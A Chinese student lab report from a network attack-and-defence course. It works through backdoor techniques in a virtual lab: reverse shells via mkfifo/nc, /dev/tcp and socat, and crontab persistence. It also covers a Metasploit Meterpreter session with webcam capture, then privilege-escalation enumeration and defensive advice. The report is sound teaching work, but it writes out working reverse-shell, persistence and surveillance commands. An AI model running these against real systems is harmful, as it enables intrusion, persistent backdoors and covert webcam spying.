202424202026-2027-1《网络与系统攻防技术》实验二实验报告

网络攻防与实践
实验指导书
| 题目: | 实践二 后门原理与实践 |
学生姓名: 王 睿
所在系别: 网络空间安全系
专 业: 网络空间安全专业
学 号: 20242420
指导教师: 王志强
2026 年10月
目 录
3.4 任务四:Metasploit Meterpreter后渗透与摄像头采集
5
1 实验目的
掌握使用Netcat命名管道(mkfifo)建立反弹Shell的方法;
掌握利用crontab定时任务实现持久化后门的方法;
掌握使用socat建立反弹交互式Shell的方法;
掌握Metasploit框架下Meterpreter会话的建立,以及键盘记录、屏幕截图、摄像头采集等后渗透操作;
掌握获取会话后的本地信息收集与本地权限提升探测的基本方法。
2 实验内容及实验原理
2.1 实验环境
实验采用VMware
Workstation虚拟化环境,配置攻击机与靶机两台虚拟机并部署于同一虚拟网络中。攻击机为Kali
Linux(IP地址192.168.136.131,用户watthand/root),靶机为openEuler操作系统,两者处于同一网段,可通过IP地址互相通信。
2.2 反弹Shell原理
反弹Shell(Reverse
Shell)指由目标主机主动向攻击主机发起连接,将目标机的命令行输入输出重定向到攻击机。其优势在于目标主机一般允许主动向外发起TCP连接,可以绕过防火墙对入站连接的限制,从而在内网渗透中获得稳定的命令执行通道。
2.3 Netcat与命名管道反弹
Netcat(nc)被称为“网络瑞士军刀”,可以建立任意的TCP/UDP连接。单独使用nc只能建立单向的数据通道,若要获得可交互的Shell,需要使用mkfifo创建命名管道(FIFO),通过管道将命令输入与输出双向重定向到bash,从而建立交互式反向Shell。
2.4 crontab定时任务持久化
crontab是Linux下的定时任务管理器,可按照设定的时间周期执行指定命令。攻击者通过在crontab中添加每分钟执行的反弹命令,使目标主机在固定时间周期内向攻击机发起连接,即使断开后也会再次连接,从而实现后门的持久化,且重启后定时任务依然存在。
2.5 socat反弹交互式Shell
socat(SOcket
CAT)是功能更强大的双向数据转发工具,支持TCP、UDP、SSL等多种协议。相比nc,socat可以携带pty(伪终端)、stderr等参数,获得更接近真实终端的交互式Shell,支持su、vim等需要终端控制的交互程序。
2.6 Metasploit与Meterpreter
Metasploit是著名的渗透测试框架,提供漏洞利用、载荷生成、后渗透等功能。Meterpreter是其高级交互式载荷,运行于目标进程内存中,提供sysinfo、ps、webcam_list、webcam_snap、keyscan_start、screenshot等丰富的后渗透命令。
2.7 信息收集与权限提升
获取会话后的信息收集(Post-exploitation)是内网渗透的关键环节,通过收集系统版本、内核信息、用户权限、SUID文件、定时任务等,评估目标环境并寻找本地提权入口。SUID文件若配置不当,普通用户执行时可继承文件属主(root)权限,是Linux本地提权的常见向量。
3 实验步骤
3.1 任务一:Netcat命名管道反弹Shell
本任务利用mkfifo命名管道与nc建立反弹Shell,验证反向连接原理。
第一步:在攻击机Kali上开启5555端口监听,等待靶机连接,执行“nc -lvp
5555”。
第二步:在靶机执行反弹命令“mkfifo /tmp/f; nc 192.168.136.131 5555 <
/tmp/f | /bin/bash > /tmp/f
2>&1”,通过命名管道将bash的输入输出双向重定向到攻击机,建立交互式Shell。
第三步:连接成功后,攻击机获得靶机Shell,执行“whoami”验证身份。实验结果表明命名管道反弹Shell建立成功。


图1 Kali监听5555端口与靶机mkfifo命名管道反弹Shell
3.2 任务二:Crontab定时任务持久化后门
本任务通过crontab定时任务实现反弹后门的持久化。
第一步:在靶机执行“crontab -e”编辑定时任务,写入反弹命令“* * * * *
/bin/bash -i >& /dev/tcp/192.168.136.131/6666
0>&1”,使系统每分钟主动向攻击机发起反弹连接。
第二步:执行“crontab -l”查看已配置的定时任务,确认反弹命令写入成功。
第三步:攻击机Kali执行“nc -lvnp
6666”开启监听,等待定时任务触发后收到靶机主动连接,执行“whoami”验证身份,后门持久化生效。


图2 openEuler编写crontab定时反弹任务


图3 Kali监听6666收到crontab定时任务反弹连接
3.3 任务三:Socat反弹交互式Shell
本任务使用socat建立带交互能力的反弹Shell。
第一步:在靶机执行“socat -
TCP:192.168.136.131:4444”,主动向攻击机发起TCP连接。
第二步:连接建立后,在会话中执行“whoami”验证身份,返回watthand,表明已获取目标主机交互式Shell。相比普通nc,socat建立的会话支持更完整的交互式操作。


图4 socat反弹连接成功并执行whoami验证
3.4 任务四:Metasploit Meterpreter后渗透与摄像头采集
本任务使用Metasploit的Meterpreter载荷建立后渗透会话,并完成摄像头远程采集。
第一步:在攻击机Kali启动Metasploit,配置监听模块。依次执行“use
exploit/multi/handler”、“set payload
linux/x64/meterpreter/reverse_tcp”、“set LHOST 192.168.136.131”、“set
LPORT 4444”,并通过“show options”确认载荷配置。


图5 msfconsole配置multi/handler监听模块
第二步:执行“exploit”开启监听,靶机回连后成功建立Meterpreter会话;执行“sysinfo”查看目标系统信息(主机名wangrui、Debian/Linux
6.19.14+kali-amd64、x64架构),确认会话可用。


图6 Meterpreter会话建立与sysinfo系统信息
第三步:执行“ps”查看目标主机进程列表,收集运行进程信息,为后续利用与判断服务状态提供依据。


图7 Meterpreter执行ps查看进程列表
第四步:进行多媒体后渗透操作。执行“keyscan_start”、“screenshot”时提示该命令不被Linux
x64
Meterpreter类型支持,属于平台限制;随后执行“sysinfo”、“getuid”确认会话身份。接着执行“webcam_list”枚举目标主机摄像头设备,执行“webcam_snap”成功捕获一帧摄像头画面并保存为图片文件(Webcam
shot saved),目标主机图片查看器提示Unsupported image
format,属于图像编码兼容问题,摄像头远程采集功能验证成功。


图8 Meterpreter摄像头枚举与webcam_snap拍照
3.5 任务五:后渗透信息收集与提权探测
本任务在获得目标会话后进行本地信息收集,探测本地提权可能性。
第一步:建立连接后收集当前身份与系统信息。执行“whoami”查看当前用户(watthand),“id”查看用户UID/GID及所属组,“uname
-a”查看内核版本(Linux kali 6.10.14-kali1-amd64),“cat
/etc/os-release”查看系统发行版本(Kali GNU/Linux 2026.2)。


图9 nc监听连接与whoami、id、uname、os-release信息收集


图10 whoami查看当前用户


图11 id查看用户与所属组信息


图12 id查看用户与所属组信息


图13 cat /etc/os-release查看系统发行版本
第二步:执行“sudo -l”查看当前用户的sudo权限,结果显示该用户具备“(ALL :
ALL) ALL”的完全sudo权限,并允许以sudo执行“/usr/bin/cat
/etc/shadow”,存在明显的权限提升与敏感文件读取通道。


图14 sudo -l查看当前用户sudo权限
第三步:执行“ip
a”查看目标主机网络接口,识别eth0接口IP为192.168.136.131,同时存在回环接口lo与Docker网桥docker0。


图15 ip a查看网络接口信息
第四步:执行“find / -perm -u+s -type f
2>/dev/null”全盘搜索带SUID权限的可执行文件,结果列出/usr/bin/sudo、/usr/bin/passwd、/usr/bin/mount、/usr/bin/su等系统SUID程序,可用于评估本地提权入口。


图16 find查找SUID权限文件
第五步:执行“cat /etc/crontab”查看系统级定时任务配置,执行“ls -l
/etc/cron.*”查看定时任务目录,执行“crontab
-l”查看当前用户定时任务(该用户无crontab任务),完成对目标主机持久化与定时任务配置的审计。


图17 cat /etc/crontab查看系统定时任务


图18 ls -l /etc/cron.*查看定时任务目录


图19 crontab -l查看当前用户定时任务
4 实验思考
1.问题:使用 nc 普通反弹 shell 时,经常出现命令输入后无响应、shell
卡住的现象,本次实验就多次遇到该问题,请分析原因以及规避手段。
解答:普通 nc 反弹属于非完全交互式 shell,没有分配伪终端
pty,部分命令输出缓冲区溢出就会造成卡死。规避方式:优先使用
socat、python 反弹获取带 pty 伪终端的交互式 shell;如果只能用
nc,命令要单条依次执行,不要批量粘贴大段命令;也可以执行python3 -c
'import pty;pty.spawn("/bin/bash")'在 nc shell
中升级伪终端,提升交互稳定性。
2.问题:crontab 配置反弹 shell 持久后门,实验执行crontab
-l查看任务,有时会出现看不到自定义后门任务的情况,是什么原因?
解答:crontab
是按用户独立存储任务,crontab‑e编辑的是当前登录用户的定时任务;如果切换了用户,crontab‑l读取的是新用户任务,就看不到之前的后门。系统级
crontab 存放在/etc/crontab以及/etc/cron.*目录,需要 root
权限读取。实验结束后要记得清理后门,避免遗留风险。
3.问题:socat 反弹 shell
实验中出现bash:无法设定终端进程组:对设备不适当的ioctl操作报错,该报错代表什么,是否影响基础命令执行?
解答:该报错是 pty 伪终端在本地回环 127.0.0.1
模拟环境下的兼容性警告。不影响whoami、id、文件查看这类基础命令执行;但是会导致su、vim这类强交互式程序异常。如果不需要完整交互,可以去掉
socat 参数中的pty,stderr关闭伪终端消除警告。
4.问题:本次 meterpreter 实验中,keyscan_start、screenshot提示不支持该
meterpreter 类型,为什么 Linux 版本 meterpreter 缺少部分后渗透功能?
解答:keyscan_start键盘记录、屏幕截图这类功能,原生主要针对 Windows
平台开发。Linux 版 meterpreter
仅实现基础的会话、文件、进程操作,缺少针对 X11
桌面的捕获模块,因此命令直接返回不支持。摄像头拍照webcam_snap可以执行,但是图片格式会出现兼容性异常。
5.问题:执行webcam_snap提示拍照成功,但是本地打开图片提示Unsupported
image format,结合实验现象分析原因。 解答:meterpreter
从靶机获取的图片数据流保存后的文件头损坏,文件后缀与实际图片编码不匹配。虽然摄像头采集帧成功,但是文件写入环节出错。解决办法:将抓取的图片文件下载到靶机原始环境打开,或者修改输出保存格式参数。
6.问题:Linux 系统 SUID 权限文件是本地提权的重要向量,实验中使用 find
命令扫描 SUID 文件,是不是所有 SUID 文件都存在提权风险?
解答:并不是全部 SUID 文件都危险。系统自带 passwd、su
等程序本身设计就配置
SUID,做了安全校验;风险来源于管理员误编译、误配置的自定义 SUID
程序,程序内部存在命令注入、执行漏洞才可以提权。日常运维需要定期全盘审计
SUID 文件列表。
7.问题:后渗透信息收集环节,为什么要收集uname‑a内核版本、sudo
权限、crontab 定时任务这三类信息?
解答:①内核版本用来查找公开内核本地提权漏洞;②sudo‑l查看当前用户被允许执行哪些
root 命令,存在 sudo 配置漏洞可以直接提权;③crontab
定时任务,一方面寻找管理员配置的危险脚本,另一方面查找攻击者遗留的持久化后门。三者共同用于判断本地提权的可行路径。
8.问题:对比 mkfifo nc 反弹、socat 反弹 shell,二者在无 pty
环境下的局限性是什么? 解答:mkfifo 管道 nc
反弹仅实现基础命令转发,没有伪终端,无法执行密码交互类程序,输入密码不会回显,容易卡死;socat
可以手动指定 pty 参数获取伪终端,交互能力更强,但 pty
参数在本地回环模拟环境会出现终端 ioctl 警告。两种都属于反向
shell,依赖靶机主动向外发起网络连接。
9.问题:反弹 shell
实验中,靶机防火墙会对实验造成什么影响?实验中如何规避防火墙带来连接失败问题?
解答:防火墙会拦截端口监听与 TCP 连接,导致监听无法建立、靶机 payload
回连失败。本次实验环境下临时关闭 firewalld
防火墙可以快速完成实验;真实环境不能直接关闭防火墙,反弹 shell
会选择向外发起出站连接,大部分防火墙默认放行出站流量,这也是反弹 shell
的攻击优势。
10.问题:做完整套反弹 shell
后渗透实验,站在防御角度,可以总结哪些防护建议?
解答:①禁止普通用户随意配置 crontab 定时任务,定期审计用户级与系统级
crontab;②定期扫描 SUID 文件,清理非系统自带的高风险 SUID
程序;③主机防火墙收紧出站策略,限制高危端口对外发起连接;④监控异常的网络反向连接行为;⑤实验结束后清理所有反弹
shell 后门、定时任务,避免虚拟机遗留后门。
浙公网安备 33010602011771号